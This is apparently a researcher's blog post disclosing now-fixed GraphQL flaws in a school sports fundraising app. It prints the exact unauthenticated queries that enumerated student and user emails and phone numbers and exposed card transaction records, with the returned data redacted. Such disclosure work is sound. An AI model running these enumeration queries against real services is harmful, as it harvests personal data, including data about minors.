Alex Yancey

GraphQL Introspection and Unsecured Queries in the Wild

Company is a fundraising app primarily targeted at K12 sports teams. After playing around with the platform, I discovered several troubling vulnerabilities which expose PII, and financial data.

Some queries were auth protected, while others seem to have gone unnoticed by developers.

Introspection

Introspection allows you to query GraphQL for info about which queries, types, and mutations are available. It's recommended that you disable it, since it gives you a little security by obscurity. Since anyone can see which queries are going across the wire, it shouldn't really matter, but I was able to see queries which were likely deprecated and no longer used in the app (possibly replaced by more secure queries)

Enumeration: Student Data

Email and phone number of students are visible. Fundraiser ID can easily be enumerated.

query ParticipantsListV2 {
    participantsListV2(fundraiserId: 000000) {
        id
        participant {
            apps
            email
            firstName
            id
            isConfirmed
            isDisabled
            language
            lastName
            occupation
            phoneNumber
            profilePicture
            xRaiseId
            xSpendId
            walletTerms
        }
    }
}

Returns:

{
    "id": 0,
    "participant": {
        "apps": [
            "raise"
        ],
        "email": "🚨",
        "firstName": "...",
        "id": "...",
        "isConfirmed": true,
        "isDisabled": false,
        "language": "en",
        "lastName": "...",
        "occupation": "student_or_participant",
        "phoneNumber": "🚨",
        "profilePicture": "...",
        "xRaiseId": "...",
        "xSpendId": null,
        "walletTerms": false
    }
}

Enumeration: User Data

Similarly, all users (seemingly both students and organizers) can be enumerated, with their full name, email, and phone number being vulnerable.

Seeing a users email and phone number may be intentional functionality, but vulnerability to enumeration makes this harmful.

query PublicUserData {
    publicUserData(userId: 0) {
        apps
        email
        firstName
        id
        isConfirmed
        isDisabled
        language
        lastName
        occupation
        phoneNumber
        profilePicture
        xRaiseId
        xSpendId
        walletTerms
    }
}

Doing a quick manual binary search, I found there are 14,127,292 accounts at the time of writing.

Payment Transaction Data

The app can issue credit cards to sports teams so their organizers can easily keep track of expenses. Every single transaction is publicly viewable.

Looks like Stripe and Twisp are used for credit card processing and accounting.

query Transactions {
    transactions(input: { createdAfter: "2024-01-01" }) {
        amount
        correlationId
        created
        description
        destination
        direction
        effective
        externalId
        id
        metadata
        processor
        xAmount
        source
        status
        type
    }
}
{
    "amount": 0,
    "correlationId": "authorization_0",
    "created": 0,
    "description": "",
    "destination": "its a uuid4",
    "direction": "CREDIT",
    "effective": 0,
    "externalId": "authorization_0",
    "id": "its a uuid4",
    "metadata": {
        "account": "account_0",
        "amount": 0,
        "authorization": "authorization_0",
        "authorizationRequest": "",
        "balance": "🚨",
        "card": "card_0",
        "cardLast4Digits": "🚨",
        "cardNetwork": "Visa",
        "cardPresent": false,
        "cardVerificationMethod": "",
        "cashWithdrawalAmount": "0",
        "coordinates": {},
        "currencyConversionAmountInOriginalCurrency": "0",
        "currencyConversionFxRate": "",
        "currencyConversionOriginalCurrency": "",
        "customer": "businessCustomer_0",
        "destination": "its a uuid4",
        "digitalWallet": "",
        "ecommerce": true,
        "effective": {
            "day": 1,
            "month": 1,
            "year": 1970
        },
        "externalId": "authorization_0",
        "grossInterchange": "",
        "interchange": "",
        "merchantCategory": "Commercial Sports, Athletic Fields, Professional Sport Clubs, and Sport Promoters",
        "merchantId": "",
        "merchantLocation": "Oregon",
        "merchantName": "ACME Sporting Goods",
        "merchantType": "0",
        "paymentMethod": "Other",
        "processor": "unit",
        "product": "spend",
        "recurring": false,
        "richMerchantData": {},
        "source": "its a uuid4",
        "summary": "Purchase from ACME Sporting Goods  |  Address: ACME, OR, US  |  **0000",
        "tags": {}
    },
    "processor": "unit",
    "xAmount": 0,
    "source": "its a uuid4",
    "status": "SETTLED",
    "type": "PURCHASE"
}

There's probably more, but I'm getting kinda bored and just want the company to audit every query, and add authentication as needed to protect their users.

The company was contacted and the issue has since been resolved.